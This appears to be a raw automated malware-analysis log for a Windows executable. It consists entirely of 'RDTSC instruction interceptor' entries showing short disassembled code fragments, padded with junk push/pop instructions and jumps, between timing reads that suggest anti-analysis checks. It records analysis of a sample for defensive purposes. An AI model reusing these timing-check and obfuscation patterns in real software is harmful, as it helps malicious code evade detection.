Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F4CE2 second address: 8F4CF3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F8E47 second address: 8F8E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 je 00007FA454545C62h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F8E56 second address: 8F8E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8F8E5C second address: 8F8E83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jo 00007FA454545C75h 0x0000000c jmp 00007FA454545C69h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9004B5 second address: 9004B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF0CF second address: 8FF0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF0D5 second address: 8FF0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF685 second address: 8FF689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF689 second address: 8FF6C8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA454E2C846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FA454E2C84Ch 0x0000000f push ebx 0x00000010 push edi 0x00000011 jnp 00007FA454E2C846h 0x00000017 jmp 00007FA454E2C852h 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FA454E2C84Ah 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF7EB second address: 8FF7F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF7F1 second address: 8FF7F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF96F second address: 8FF980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jc 00007FA454545C5Ah 0x0000000d push eax 0x0000000e pop eax 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FF980 second address: 8FF98C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA454E2C84Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FFAF8 second address: 8FFB02 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA454545C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FFC41 second address: 8FFC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA454E2C846h 0x0000000a popad 0x0000000b push ebx 0x0000000c jp 00007FA454E2C846h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8FFD91 second address: 8FFD95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8A9070 second address: 8A9093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FA454E2C856h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8A9093 second address: 8A90C6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA454545C62h 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FA454545C5Fh 0x00000010 pop eax 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jne 00007FA454545C6Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8A90C6 second address: 8A90CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8A90CA second address: 8A90D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 900346 second address: 900359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C84Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 906754 second address: 90675A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90675A second address: 90675F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90675F second address: 90676B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FA454545C56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90676B second address: 90676F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9055F7 second address: 9055FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9055FD second address: 905609 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 905609 second address: 90560F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90560F second address: 905613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8C9D28 second address: 708B03 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA454545C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, dx 0x00000011 push dword ptr [ebp+122D0415h] 0x00000017 pushad 0x00000018 xor edi, dword ptr [ebp+122D3987h] 0x0000001e mov cx, di 0x00000021 popad 0x00000022 call dword ptr [ebp+122D2372h] 0x00000028 pushad 0x00000029 xor dword ptr [ebp+122D2C1Fh], eax 0x0000002f xor eax, eax 0x00000031 sub dword ptr [ebp+122D2C1Fh], esi 0x00000037 stc 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c jmp 00007FA454545C5Ah 0x00000041 mov dword ptr [ebp+122D38FFh], eax 0x00000047 jp 00007FA454545C62h 0x0000004d pushad 0x0000004e mov ecx, dword ptr [ebp+122D36FBh] 0x00000054 mov si, 8C88h 0x00000058 popad 0x00000059 mov esi, 0000003Ch 0x0000005e jmp 00007FA454545C5Ah 0x00000063 pushad 0x00000064 or dword ptr [ebp+122D2C1Fh], ebx 0x0000006a mov bh, 12h 0x0000006c popad 0x0000006d add esi, dword ptr [esp+24h] 0x00000071 mov dword ptr [ebp+122D1C8Ch], ebx 0x00000077 lodsw 0x00000079 pushad 0x0000007a xor dword ptr [ebp+122D2C1Fh], edi 0x00000080 mov ebx, ecx 0x00000082 popad 0x00000083 add eax, dword ptr [esp+24h] 0x00000087 mov dword ptr [ebp+122D2C1Fh], edi 0x0000008d mov ebx, dword ptr [esp+24h] 0x00000091 cmc 0x00000092 nop 0x00000093 push eax 0x00000094 push edx 0x00000095 jnp 00007FA454545C6Ch 0x0000009b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA098 second address: 8CA0B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C84Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA69F second address: 8CA6A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA6A4 second address: 8CA6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454E2C854h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jg 00007FA454E2C865h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA454E2C853h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CA8B6 second address: 8CA8BC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAA9D second address: 8CAAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAAA1 second address: 8CAAEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA454545C62h 0x0000000f nop 0x00000010 jmp 00007FA454545C5Ch 0x00000015 lea eax, dword ptr [ebp+124945C8h] 0x0000001b mov ecx, dword ptr [ebp+122D396Fh] 0x00000021 nop 0x00000022 push eax 0x00000023 push edx 0x00000024 js 00007FA454545C58h 0x0000002a push edi 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAAEF second address: 8CAB13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C855h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FA454E2C848h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAB13 second address: 8CAB40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jc 00007FA454545C56h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f mov ecx, dword ptr [ebp+122D35D1h] 0x00000015 cmc 0x00000016 lea eax, dword ptr [ebp+12494584h] 0x0000001c mov ecx, dword ptr [ebp+122D1DF2h] 0x00000022 nop 0x00000023 push eax 0x00000024 push edx 0x00000025 jp 00007FA454545C5Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAB40 second address: 8CAB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAB44 second address: 8CAB62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FA454545C63h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAB62 second address: 8CAB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 8CAB68 second address: 8A9070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA454545C64h 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007FA454545C64h 0x00000011 call dword ptr [ebp+122D2951h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 905EAF second address: 905EE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FA454E2C846h 0x00000009 js 00007FA454E2C846h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 jmp 00007FA454E2C855h 0x0000001c pop esi 0x0000001d push ebx 0x0000001e push edi 0x0000001f pop edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90616C second address: 90618B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA454545C66h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90618B second address: 9061A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FA454E2C846h 0x0000000c popad 0x0000000d jng 00007FA454E2C84Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 909BCA second address: 909BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 909BD0 second address: 909BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 909BD7 second address: 909BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 87CF55 second address: 87CF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 87CF5B second address: 87CF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 87CF66 second address: 87CF83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C854h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 87CF83 second address: 87CFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FA454545C67h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 87CFA5 second address: 87CFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 87CFA9 second address: 87CFAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90BB4D second address: 90BB53 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90BD0E second address: 90BD27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA454545C56h 0x0000000a popad 0x0000000b jo 00007FA454545C62h 0x00000011 jno 00007FA454545C56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90EE72 second address: 90EE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA454E2C846h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90E93E second address: 90E944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90E944 second address: 90E948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90E948 second address: 90E94E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90E94E second address: 90E956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 90E956 second address: 90E95A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 914698 second address: 91469E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91469E second address: 9146A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9146A4 second address: 9146AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9146AE second address: 9146E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 jne 00007FA454545C56h 0x0000000e popad 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push esi 0x00000014 pop esi 0x00000015 jmp 00007FA454545C66h 0x0000001a pop eax 0x0000001b jng 00007FA454545C5Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 914C94 second address: 914C9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 914C9D second address: 914CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 914CA3 second address: 914CBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454E2C852h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 914CBB second address: 914CC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 914CC0 second address: 914CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9168DC second address: 9168E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 9168E2 second address: 916912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 jns 00007FA454E2C846h 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA454E2C856h 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007FA454E2C846h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 916912 second address: 916918 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 916918 second address: 916931 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA454E2C84Eh 0x00000008 pushad 0x00000009 je 00007FA454E2C846h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 916931 second address: 916937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91A041 second address: 91A058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA454E2C84Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91A1B2 second address: 91A1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91A1C0 second address: 91A1CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 877F3D second address: 877F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 877F43 second address: 877F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F239 second address: 91F23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F23F second address: 91F243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F243 second address: 91F251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA454545C5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F251 second address: 91F257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F3C0 second address: 91F3D9 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA454545C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FA454545C5Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F51A second address: 91F538 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA454E2C856h 0x00000008 jmp 00007FA454E2C84Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\l0zocrLiVW.exe	RDTSC instruction interceptor: First address: 91F538 second address: 91F53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
